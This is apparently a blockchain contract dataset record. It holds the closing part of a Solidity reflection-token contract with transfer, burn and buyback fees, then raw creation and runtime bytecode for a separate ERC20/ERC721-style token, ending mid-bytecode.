}\r\n\r\n function includeAccount(address account) external onlyReflection onlyFromAdminOrLauncher {\r\n require(isExcludedFromReflectionRewards(account), \"Account is already included\");\r\n for (uint256 i = 0; i < _excluded.length; i++) {\r\n if (_excluded[i] == account) {\r\n uint256 currentRate = _getRate();\r\n totalReflection.r = totalReflection.r - _rOwned[account];\r\n _rOwned[account] = _tOwned[account] * currentRate;\r\n _tOwned[account] = 0;\r\n totalReflection.r = totalReflection.r + _rOwned[account];\r\n\r\n _isExcludedFromReflectionRewards[account] = false;\r\n _excluded[i] = _excluded[_excluded.length - 1];\r\n _excluded.pop();\r\n break;\r\n }\r\n }\r\n }\r\n\r\n function totalFees() public view returns (uint256) {\r\n return totalReflection.tFee;\r\n }\r\n\r\n function _balanceOfReflection(address account) private view returns (uint256) {\r\n if (isExcludedFromReflectionRewards(account)) return _tOwned[account];\r\n return tokenFromReflection(_rOwned[account]);\r\n }\r\n\r\n function _transferStandard(\r\n address sender,\r\n address recipient,\r\n // solhint-disable-next-line\r\n uint256 tAmount,\r\n // solhint-disable-next-line\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferToExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _tOwned[recipient] = _tOwned[recipient] + tTransferAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _tOwned[recipient] = _tOwned[recipient] + tAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferFromExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n // solhint-disable-next-line\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _tOwned[sender] = _tOwned[sender] - tAmount;\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferBothExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _tOwned[sender] = _tOwned[sender] - tAmount;\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _tOwned[recipient] = _tOwned[recipient] + tTransferAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _tOwned[recipient] = _tOwned[recipient] + tAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _reflectFee(uint256 rFee, uint256 tFee) private {\r\n totalReflection.r = totalReflection.r - rFee;\r\n totalReflection.tFee = totalReflection.tFee + tFee;\r\n }\r\n\r\n function _getValues(\r\n uint256 tAmount,\r\n uint256 tAmountOriginal,\r\n bool isSwap,\r\n bool shouldReflectFee\r\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\r\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, tAmountOriginal, isSwap, shouldReflectFee);\r\n\r\n uint256 currentRate = _getRate();\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);\r\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\r\n }\r\n\r\n function _getTValues(uint256 tAmount, uint256 tAmountOriginal, bool isSwap, bool shouldReflectFee) private view returns (uint256, uint256) {\r\n bool shouldReflect = (!fees.reflection.onlyOnSwaps || isSwap);\r\n if (!shouldReflect || !shouldReflectFee) return (tAmount, 0);\r\n uint256 tFee = (tAmountOriginal * fees.reflection.percentage) / MULTIPLIER_BASIS;\r\n uint256 tTransferAmount = tAmount - tFee;\r\n return (tTransferAmount, tFee);\r\n }\r\n\r\n function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {\r\n uint256 rAmount = tAmount * currentRate;\r\n uint256 rFee = tFee * currentRate;\r\n uint256 rTransferAmount = rAmount - rFee;\r\n return (rAmount, rTransferAmount, rFee);\r\n }\r\n\r\n function _getRate() private view returns (uint256) {\r\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\r\n return rSupply / tSupply;\r\n }\r\n\r\n function _getCurrentSupply() private view returns (uint256, uint256) {\r\n uint256 rSupply = totalReflection.r;\r\n uint256 tSupply = totalReflection.t;\r\n for (uint256 i = 0; i < _excluded.length; i++) {\r\n if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (totalReflection.r, totalReflection.t);\r\n rSupply = rSupply - _rOwned[_excluded[i]];\r\n tSupply = tSupply - _tOwned[_excluded[i]];\r\n }\r\n if (rSupply < totalReflection.r / totalReflection.t) return (totalReflection.r, totalReflection.t);\r\n return (rSupply, tSupply);\r\n }\r\n\r\n function removeExchangePool(address pool) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exchangePools.remove(pool);\r\n emit ExchangePoolRemoved(pool);\r\n }\r\n\r\n function removeExemptAddress(address account) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exemptedFromTax.remove(account);\r\n emit ExemptedRemoved(account);\r\n }\r\n\r\n function _transfer(address sender, address recipient, uint256 amount) internal virtual override {\r\n bool isSwap = _isSwap(sender, recipient);\r\n bool exemptedFromTax = _isExemptedFromTax(sender, recipient);\r\n uint256 originalAmount = amount;\r\n if (fees.transferFee.percentage > 0 && (!fees.transferFee.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 transferFee = (originalAmount * fees.transferFee.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, treasury, transferFee, originalAmount, false);\r\n amount -= transferFee;\r\n emit TransferTax(sender, treasury, transferFee, \"transferFee\");\r\n }\r\n if (fees.burn.percentage > 0 && (!fees.burn.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 burnFee = (originalAmount * fees.burn.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, BURN_ADDRESS, burnFee, originalAmount, false);\r\n amount -= burnFee;\r\n emit TransferTax(sender, BURN_ADDRESS, burnFee, \"burnFee\");\r\n }\r\n if (fees.buyback.percentage > 0 && (!fees.buyback.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 buybackFee = (originalAmount * fees.buyback.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, buybackHandler, buybackFee, originalAmount, false);\r\n if (!_exchangePools.contains(sender) && buybackDetails.router != address(0)) {\r\n IBuyBackHandler(buybackHandler).buyback(treasury, buybackDetails);\r\n }\r\n amount -= buybackFee;\r\n emit TransferTax(sender, buybackHandler, buybackFee, \"buybackFee\");\r\n }\r\n\r\n _transferInternal(sender, recipient, amount, originalAmount, true);\r\n }\r\n\r\n function _transferReflection(address sender, address recipient, uint256 tAmount, uint256 tAmountOriginal, bool shouldReflectFee) private {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n require(tAmount > 0, \"Transfer amount must be greater than zero\");\r\n bool isSwap = _isSwap(sender, recipient);\r\n address liquidityPoolFactory = ITokenLauncherERC20(tokenLauncher).liquidityPoolFactory();\r\n if (sender == liquidityPoolFactory || recipient == liquidityPoolFactory) {\r\n shouldReflectFee = false;\r\n }\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(\r\n tAmount,\r\n tAmountOriginal,\r\n isSwap,\r\n shouldReflectFee\r\n );\r\n\r\n if (isExcludedFromReflectionRewards(sender) && !isExcludedFromReflectionRewards(recipient)) {\r\n _transferFromExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (!isExcludedFromReflectionRewards(sender) && isExcludedFromReflectionRewards(recipient)) {\r\n _transferToExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (!isExcludedFromReflectionRewards(sender) && !isExcludedFromReflectionRewards(recipient)) {\r\n _transferStandard(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n } else if (isExcludedFromReflectionRewards(sender) && isExcludedFromReflectionRewards(recipient)) {\r\n _transferBothExcluded(sender, recipient, tAmount, tTransferAmount, rAmount, rTransferAmount, shouldReflectFee);\r\n }\r\n\r\n emit Transfer(sender, recipient, tTransferAmount);\r\n\r\n if (shouldReflectFee) {\r\n _reflectFee(rFee, tFee);\r\n emit TransferTax(sender, address(0), tFee, \"reflectionFee\");\r\n }\r\n }\r\n\r\n function _transferInternal(address sender, address recipient, uint256 amount, uint256 originalAmount, bool shouldReflectFee) private {\r\n if (isReflectionToken) {\r\n _transferReflection(sender, recipient, amount, originalAmount, shouldReflectFee);\r\n } else {\r\n super._transfer(sender, recipient, amount);\r\n }\r\n }\r\n\r\n function _isSwap(address sender, address recipient) internal view returns (bool) {\r\n return _exchangePools.contains(sender) || _exchangePools.contains(recipient);\r\n }\r\n\r\n function _isExemptedFromTax(address sender, address recipient) internal view returns (bool) {\r\n return _exemptedFromTax.contains(sender) || _exemptedFromTax.contains(recipient);\r\n }\r\n\r\n function _mintReflection(address account, uint256 amount) private {\r\n // increase total amounts\r\n uint256 _rAmount = amount * _getRate();\r\n totalReflection.t = totalReflection.t + amount;\r\n totalReflection.r = totalReflection.r + _rAmount;\r\n\r\n // increase tBalance if the receiver address is excluded\r\n if (isExcludedFromReflectionRewards(account)) {\r\n _tOwned[account] = _tOwned[account] + amount;\r\n }\r\n _rOwned[account] = _rOwned[account] + _rAmount;\r\n\r\n emit Transfer(address(0), account, amount);\r\n }\r\n\r\n function mint(address to, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n require(totalSupply() + amount <= maxSupply, \"TokenFiERC20: max supply exceeded\");\r\n if (isReflectionToken) {\r\n _mintReflection(to, amount);\r\n } else {\r\n super._mint(to, amount);\r\n }\r\n }\r\n\r\n function updateTokenLauncher(address _newTokenLauncher) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n _revokeRole(FEE_MANAGER_ROLE, tokenLauncher);\r\n tokenLauncher = _newTokenLauncher;\r\n\r\n _grantRole(FEE_MANAGER_ROLE, _newTokenLauncher);\r\n emit TokenLauncherUpdated(_newTokenLauncher);\r\n }\r\n\r\n modifier onlyFromAdminOrLauncher() {\r\n require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || msg.sender == tokenLauncher, \"TokenFiERC20: must be admin\");\r\n _;\r\n }\r\n\r\n modifier onlyReflection() {\r\n require(isReflectionToken, \"TokenFiERC20: reflection not enabled\");\r\n _;\r\n }\r\n}\r\n"
}
}
}}
|
1 | 19,502,194 |
e0808b1c08c8735b9d3c99ec451dfc7a430d5d9a3126d61f99b2df3faf896a00
|
bfbe37d3651a9224a8a4bfe953d276a9d7d951eca5afb3c9460158d3e71082df
|
60495e6ef2f7823984002ba44d31ce6503333010
|
60495e6ef2f7823984002ba44d31ce6503333010
|
227658911354920b9d1d64b42027349db896925b
|
60c06040523480156200001157600080fd5b5060405162001c5c38038062001c5c83398101604081905262000034916200015e565b604080518082018252600a81526922b3b7b9ba30ba34b7b760b11b602080830191909152825180840190935260048352634553544160e01b9083015290601261753084806001600160a01b038116620000a0576040516349e27cff60e01b815260040160405180910390fd5b600080546001600160a01b0319166001600160a01b03831690811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001620000f7868262000235565b50600262000106858262000235565b5060ff831660808190526200011d90600a62000416565b62000129908362000427565b60a0525050506001600160a01b03909216600090815260046020526040902069065a4da25d3016c00000905550620004419050565b6000602082840312156200017157600080fd5b81516001600160a01b03811681146200018957600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001bb57607f821691505b602082108103620001dc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200023057600081815260208120601f850160051c810160208610156200020b5750805b601f850160051c820191505b818110156200022c5782815560010162000217565b5050505b505050565b81516001600160401b0381111562000251576200025162000190565b6200026981620002628454620001a6565b84620001e2565b602080601f831160018114620002a15760008415620002885750858301515b600019600386901b1c1916600185901b1785556200022c565b600085815260208120601f198616915b82811015620002d257888601518255948401946001909101908401620002b1565b5085821015620002f15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003585781600019048211156200033c576200033c62000301565b808516156200034a57918102915b93841c93908002906200031c565b509250929050565b600082620003715750600162000410565b81620003805750600062000410565b8160018114620003995760028114620003a457620003c4565b600191505062000410565b60ff841115620003b857620003b862000301565b50506001821b62000410565b5060208310610133831016604e8410600b8410161715620003e9575081810a62000410565b620003f5838362000317565b80600019048211156200040c576200040c62000301565b0290505b92915050565b60006200018960ff84168362000360565b808202811582820484141762000410576200041062000301565b60805160a0516117ee6200046e60003960006101ce0152600081816102200152610d0301526117ee6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610307578063b88d4fde1461031a578063c87b56dd1461032d578063dd62ed3e14610340578063e985e9c51461036b578063f2fde38b1461039957600080fd5b806370a08231146102965780638da5cb5b146102b657806395d89b41146102c95780639b19251a146102d1578063a22cb465146102f457600080fd5b80632b9689581161010a5780632b96895814610213578063313ce5671461021b57806342842e0e146102545780634f02c4201461026757806353d6fd59146102705780636352211e1461028357600080fd5b806306fdde0314610147578063081812fc14610165578063095ea7b3146101a657806318160ddd146101c957806323b872dd146101fe575b600080fd5b61014f6103ac565b60405161015c9190611328565b60405180910390f35b61018e61017336600461135b565b6006602052600090815260409020546001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b6101b96101b436600461138b565b61043a565b604051901515815260200161015c565b6101f07f000000000000000000000000000000000000000000000000000000000000000081565b60405190815260200161015c565b61021161020c3660046113b5565b61058b565b005b610211610914565b6102427f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff909116815260200161015c565b6102116102623660046113b5565b61097a565b6101f060035481565b61021161027e3660046113f1565b610a4f565b61018e61029136600461135b565b610aa4565b6101f06102a436600461142d565b60046020526000908152604090205481565b60005461018e906001600160a01b031681565b61014f610adf565b6101b96102df36600461142d565b600b6020526000908152604090205460ff1681565b6102116103023660046113f1565b610aec565b6101b961031536600461138b565b610b58565b610211610328366004611448565b610b6c565b61014f61033b36600461135b565b610c2f565b6101f061034e3660046114e3565b600560209081526000928352604080842090915290825290205481565b6101b96103793660046114e3565b600760209081526000928352604080842090915290825290205460ff1681565b6102116103a736600461142d565b610c60565b600180546103b990611516565b80601f01602080910402602001604051908101604052809291908181526020018280546103e590611516565b80156104325780601f1061040757610100808354040283529160200191610432565b820191906000526020600020905b81548152906001019060200180831161041557829003601f168201915b505050505081565b6000600354821115801561044e5750600082115b15610525576000828152600860205260409020546001600160a01b031633811480159061049f57506001600160a01b038116600090815260076020908152604080832033845290915290205460ff16155b156104bc576040516282b42960e81b815260040160405180910390fd5b60008381526006602090815260409182902080546001600160a01b0319166001600160a01b038881169182179092559251868152908416917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350610581565b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b5060015b92915050565b60035481116108a5576000818152600860205260409020546001600160a01b038481169116146105ce57604051636edaef2f60e11b815260040160405180910390fd5b6001600160a01b0382166105f557604051634e46966960e11b815260040160405180910390fd5b336001600160a01b0384161480159061063257506001600160a01b038316600090815260076020908152604080832033845290915290205460ff16155b801561065557506000818152600660205260409020546001600160a01b03163314155b15610672576040516282b42960e81b815260040160405180910390fd5b61067a610cfc565b6001600160a01b038416600090815260046020526040812080549091906106a2908490611566565b909155506106b09050610cfc565b6001600160a01b03808416600081815260046020908152604080832080549096019095558582526008815284822080546001600160a01b03199081169094179055600681528482208054909316909255918616825260099052908120805461071a90600190611566565b8154811061072a5761072a611579565b60009182526020808320909101546001600160a01b0387168352600982526040808420868552600a9093529092205481549293508392811061076e5761076e611579565b60009182526020808320909101929092556001600160a01b03861681526009909152604090208054806107a3576107a361158f565b600082815260208082208301600019908101839055909201909255838252600a8152604080832054848452818420556001600160a01b0386168084526009835290832080546001818101835582865293852001869055925290546108079190611566565b6000838152600a602052604080822092909255905183916001600160a01b0380871692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4826001600160a01b0316846001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e03148761088e610cfc565b60405190815260200160405180910390a350505050565b6001600160a01b03831660009081526005602090815260408083203384529091529020546000198114610901576108dc8282611566565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b61090c848484610d2e565b50505b505050565b6000546001600160a01b0316331461093e576040516282b42960e81b815260040160405180910390fd5b600080546001600160a01b031916815560405133907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b61098583838361058b565b6001600160a01b0382163b15801590610a315750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401526000608484015290919084169063150b7a029060a4016020604051808303816000875af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2491906115a5565b6001600160e01b03191614155b1561090f57604051633da6393160e01b815260040160405180910390fd5b6000546001600160a01b03163314610a79576040516282b42960e81b815260040160405180910390fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000818152600860205260409020546001600160a01b031680610ada5760405163c5723b5160e01b815260040160405180910390fd5b919050565b600280546103b990611516565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000610b65338484610d2e565b9392505050565b610b7785858561058b565b6001600160a01b0384163b15801590610c115750604051630a85bd0160e11b808252906001600160a01b0386169063150b7a0290610bc19033908a908990899089906004016115cf565b6020604051808303816000875af1158015610be0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0491906115a5565b6001600160e01b03191614155b1561090c57604051633da6393160e01b815260040160405180910390fd5b6060610c3a82610f66565b604051602001610c4a9190611623565b6040516020818303038152906040529050919050565b6000546001600160a01b03163314610c8a576040516282b42960e81b815260040160405180910390fd5b6001600160a01b038116610cb1576040516349e27cff60e01b815260040160405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610d297f0000000000000000000000000000000000000000000000000000000000000000600a611758565b905090565b600080610d39610cfc565b6001600160a01b038087166000818152600460205260408082208054948a1683529082205492825293945091929091869190610d758386611566565b90915550506001600160a01b038087166000818152600460205260408120805489019055549091169003610def5760405162461bcd60e51b815260206004820181905260248201527f43616e27742073656e6420746f206f726967696e61746f722061646472657373604482015260640160405180910390fd5b6000546001600160a01b03888116911614610e87576001600160a01b0387166000908152600b602052604090205460ff16610e87576001600160a01b038716600090815260046020526040812054610e48908590611767565b610e528585611767565b610e5c9190611566565b905060005b81811015610e8457610e7289610ff9565b80610e7c81611789565b915050610e61565b50505b6001600160a01b0386166000908152600b602052604090205460ff16610f0c576000610eb38483611767565b6001600160a01b038816600090815260046020526040902054610ed7908690611767565b610ee19190611566565b905060005b81811015610f0957610ef788611121565b80610f0181611789565b915050610ee6565b50505b856001600160a01b0316876001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e03148787604051610f5191815260200190565b60405180910390a35060019695505050505050565b60606000610f738361122c565b600101905060008167ffffffffffffffff811115610f9357610f936117a2565b6040519080825280601f01601f191660200182016040528015610fbd576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a8504945084610fc757509392505050565b6001600160a01b03811661102057604051636edaef2f60e11b815260040160405180910390fd5b6001600160a01b0381166000908152600960205260408120805461104690600190611566565b8154811061105657611056611579565b9060005260206000200154905060096000836001600160a01b03166001600160a01b031681526020019081526020016000208054806110975761109761158f565b600082815260208082208301600019908101839055909201909255828252600a815260408083208390556008825280832080546001600160a01b031990811690915560069092528083208054909216909155518291906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6001600160a01b03811661114857604051634e46966960e11b815260040160405180910390fd5b60038054600101908190556000818152600860205260409020546001600160a01b0316156111895760405163119b4fd360e11b815260040160405180910390fd5b600081815260086020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558084526009835290832080546001818101835582865293852001859055925290546111e19190611566565b6000828152600a602052604080822092909255905182916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b831061126b5772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef81000000008310611297576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc1000083106112b557662386f26fc10000830492506010015b6305f5e10083106112cd576305f5e100830492506008015b61271083106112e157612710830492506004015b606483106112f3576064830492506002015b600a83106105855760010192915050565b60005b8381101561131f578181015183820152602001611307565b50506000910152565b6020815260008251806020840152611347816040850160208701611304565b601f01601f19169190910160400192915050565b60006020828403121561136d57600080fd5b5035919050565b80356001600160a01b0381168114610ada57600080fd5b6000806040838503121561139e57600080fd5b6113a783611374565b946020939093013593505050565b6000806000606084860312156113ca57600080fd5b6113d384611374565b92506113e160208501611374565b9150604084013590509250925092565b6000806040838503121561140457600080fd5b61140d83611374565b91506020830135801515811461142257600080fd5b809150509250929050565b60006020828403121561143f57600080fd5b610b6582611374565b60008060008060006080868803121561146057600080fd5b61146986611374565b945061147760208701611374565b935060408601359250606086013567ffffffffffffffff8082111561149b57600080fd5b818801915088601f8301126114af57600080fd5b8135818111156114be57600080fd5b8960208285010111156114d057600080fd5b9699959850939650602001949392505050565b600080604083850312156114f657600080fd5b6114ff83611374565b915061150d60208401611374565b90509250929050565b600181811c9082168061152a57607f821691505b60208210810361154a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561058557610585611550565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b6000602082840312156115b757600080fd5b81516001600160e01b031981168114610b6557600080fd5b6001600160a01b038681168252851660208201526040810184905260806060820181905281018290526000828460a0840137600060a0848401015260a0601f19601f85011683010190509695505050505050565b7f68747470733a2f2f65746865676f6275732e65676f7261732e636f6d2f746f6b815262656e2f60e81b602082015260008251611667816023850160208701611304565b9190910160230192915050565b600181815b808511156116af57816000190482111561169557611695611550565b808516156116a257918102915b93841c9390800290611679565b509250929050565b6000826116c657506001610585565b816116d357506000610585565b81600181146116e957600281146116f35761170f565b6001915050610585565b60ff84111561170457611704611550565b50506001821b610585565b5060208310610133831016604e8410600b8410161715611732575081810a610585565b61173c8383611674565b806000190482111561175057611750611550565b029392505050565b6000610b6560ff8416836116b7565b60008261178457634e487b7160e01b600052601260045260246000fd5b500490565b60006001820161179b5761179b611550565b5060010190565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220faf5ebaf3ceceb666af793fe66424bf050d7138d10f089412738af3eba370c0464736f6c63430008140033000000000000000000000000de41bab358b663293179858a6e97c8b183979348
|
608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610307578063b88d4fde1461031a578063c87b56dd1461032d578063dd62ed3e14610340578063e985e9c51461036b578063f2fde38b1461039957600080fd5b806370a08231146102965780638da5cb5b146102b657806395d89b41146102c95780639b19251a146102d1578063a22cb465146102f457600080fd5b80632b9689581161010a5780632b96895814610213578063313ce5671461021b57806342842e0e146102545780634f02c4201461026757806353d6fd59146102705780636352211e1461028357600080fd5b806306fdde0314610147578063081812fc14610165578063095ea7b3146101a657806318160ddd146101c957806323b872dd146101fe575b600080fd5b61014f6103ac565b60405161015c9190611328565b60405180910390f35b61018e61017336600461135b565b6006602052600090815260409020546001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b6101b96101b436600461138b565b61043a565b604051901515815260200161015c565b6101f07f00000000000000000000000000000000000000000000065a4da25d3016c0000081565b60405190815260200161015c565b61021161020c3660046113b5565b61058b565b005b610211610914565b6102427f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff909116815260200161015c565b6102116102623660046113b5565b61097a565b6101f060035481565b61021161027e3660046113f1565b610a4f565b61018e61029136600461135b565b610aa4565b6101f06102a436600461142d565b60046020526000908152604090205481565b60005461018e906001600160a01b031681565b61014f610adf565b6101b96102df36600461142d565b600b6020526000908152604090205460ff1681565b6102116103023660046113f1565b610aec565b6101b961031536600461138b565b610b58565b610211610328366004611448565b610b6c565b61014f61033b36600461135b565b610c2f565b6101f061034e3660046114e3565b600560209081526000928352604080842090915290825290205481565b6101b96103793660046114e3565b600760209081526000928352604080842090915290825290205460ff1681565b6102116103a736600461142d565b610c60565b600180546103b990611516565b80601f01602080910402602001604051908101604052809291908181526020018280546103e590611516565b80156104325780601f1061040757610100808354040283529160200191610432565b820191906000526020600020905b81548152906001019060200180831161041557829003601f168201915b505050505081565b6000600354821115801561044e5750600082115b15610525576000828152600860205260409020546001600160a01b031633811480159061049f57506001600160a01b038116600090815260076020908152604080832033845290915290205460ff16155b156104bc576040516282b42960e81b815260040160405180910390fd5b60008381526006602090815260409182902080546001600160a01b0319166001600160a01b038881169182179092559251868152908416917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350610581565b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b5060015b92915050565b60035481116108a5576000818152600860205260409020546001600160a01b038481169116146105ce57604051636edaef2f60e11b815260040160405180910390fd5b6001600160a01b0382166105f557604051634e46966960e11b815260040160405180910390fd5b336001600160a01b0384161480159061063257506001600160a01b038316600090815260076020908152604080832033845290915290205460ff16155b801561065557506000818152600660205260409020546001600160a01b03163314155b15610672576040516282b42960e81b815260040160405180910390fd5b61067a610cfc565b6001600160a01b038416600090815260046020526040812080549091906106a2908490611566565b909155506106b09050610cfc565b6001600160a01b03808416600081815260046020908152604080832080549096019095558582526008815284822080546001600160a01b03199081169094179055600681528482208054909316909255918616825260099052908120805461071a90600190611566565b8154811061072a5761072a611579565b60009182526020808320909101546001600160a01b0387168352600982526040808420868552600a9093529092205481549293508392811061076e5761076e611579565b60009182526020808320909101929092556001600160a01b03861681526009909152604090208054806107a3576107a361158f565b600082815260208082208301600019908101839055909201909255838252600a8152604080832054848452818420556001600160a01b0386168084526009835290832080546001818101835582865293852001869055925290546108079190611566565b6000838152600a602052604080822092909255905183916001600160a01b0380871692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4826001600160a01b0316846001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e03148761088e610cfc565b60405190815260200160405180910390a350505050565b6001600160a01b03831660009081526005602090815260408083203384529091529020546000198114610901576108dc8282611566565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b61090c848484610d2e565b50505b505050565b6000546001600160a01b0316331461093e576040516282b42960e81b815260040160405180910390fd5b600080546001600160a01b031916815560405133907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b61098583838361058b565b6001600160a01b0382163b15801590610a315750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401526000608484015290919084169063150b7a029060a4016020604051808303816000875af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2491906115a5565b6001600160e01b03191614155b1561090f57604051633da6393160e01b815260040160405180910390fd5b6000546001600160a01b03163314610a79576040516282b42960e81b815260040160405180910390fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000818152600860205260409020546001600160a01b031680610ada5760405163c5723b5160e01b815260040160405180910390fd5b919050565b600280546103b990611516565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000610b65338484610d2e565b9392505050565b610b7785858561058b565b6001600160a01b0384163b15801590610c115750604051630a85bd0160e11b808252906001600160a01b0386169063150b7a0290610bc19033908a908990899089906004016115cf565b6020604051808303816000875af1158015610be0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0491906115a5565b6001600160e01b03191614155b1561090c57604051633da6393160e01b815260040160405180910390fd5b6060610c3a82610f66565b604051602001610c4a9190611623565b6040516020818303038152906040529050919050565b6000546001600160a01b0316331